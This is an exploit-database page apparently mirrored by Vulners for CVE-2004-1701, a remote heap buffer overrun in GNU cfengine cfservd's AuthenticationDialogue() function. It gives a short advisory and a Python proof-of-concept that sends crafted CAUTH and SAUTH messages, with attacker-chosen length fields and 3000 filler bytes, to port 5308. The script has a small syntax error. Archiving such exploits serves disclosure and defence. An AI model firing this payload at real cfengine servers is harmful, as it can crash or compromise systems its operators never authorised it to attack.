Lucene search
+L

GNU CFEngine 2.0.x/2.1 - AuthenticationDialogue Remote Heap Buffer Overrun (1)

🗓️ 09 Aug 2004 00:00:00Reported by Juan Pablo Martinez KuhnType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 31 Views

GNU CFEngine cfservd has a remote heap buffer overrun due to inadequate boundary checks.

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
Gentoo Linux Remote Compromise
28 Apr 201500:00
–bdu_fstec
nessus
Tenable Nessus
Cfengine AuthenticationDialogue() Function Remote Overflow
20 Aug 200400:00
–nessus
nessus
Tenable Nessus
GLSA-200408-08 : Cfengine: RSA Authentication Heap Corruption
30 Aug 200400:00
–nessus
cve
CVE
CVE-2004-1701
21 Feb 200505:00
–cve
cvelist
Cvelist
CVE-2004-1701
21 Feb 200505:00
–cvelist
debiancve
Debian CVE
CVE-2004-1701
21 Feb 200505:00
–debiancve
exploitdb
Exploit DB
GNU CFEngine 2.0.x/2.1 - AuthenticationDialogue Remote Heap Buffer Overrun (2)
9 Aug 200400:00
–exploitdb
gentoo
Gentoo Linux
Cfengine: RSA Authentication Heap Corruption
10 Aug 200400:00
–gentoo
nvd
NVD
CVE-2004-1701
9 Aug 200404:00
–nvd
openvas
OpenVAS
CFEngine AuthenticationDialogue Vulnerability
3 Nov 200500:00
–openvas
Rows per page
source: https://www.securityfocus.com/bid/10899/info

GNU cfengine cfservd is reported prone to a remote heap-based buffer overrun vulnerability. The vulnerability presents itself in the cfengine cfservd AuthenticationDialogue() function.

The issue exists due to a lack of sufficient boundary checks performed on challenge data that is received from a client.

Because the size of the buffer, the size of data copied in a memcpy() operation, and the data copied are all controlled by the attacker, a remote attacker may likely exploit this condition to corrupt in-line heap based memory management data.

cfservd employs an IP based access control method. This access control must be bypassed prior to exploitation. This may hinder exploitation attempts.

This vulnerability is reported to affect versions 2.0.0 to 2.1.7p1 of cfengine cfservd.

import struct
import socket
import time

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.1',5308)

# CAUTH command
p = 'k' # status
p += '0000023' # len
p += 'CAUTH ' # command
p += 'HARE KRISHNA HARE'
print 'sending CAUTH command...'
s.send(p)
# SAUTH command
p = 'k' # status
p += '0003000' # len
p += 'SAUTH ' # command
p += 'n' # iscrypt
p += '00000010 ' # crypt_len
p += '00001000' # nonce_len
p += 'X' * 3000
print 'sending SAUTH command...'
s.send(p)

a = s.recv(4096)
print a

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation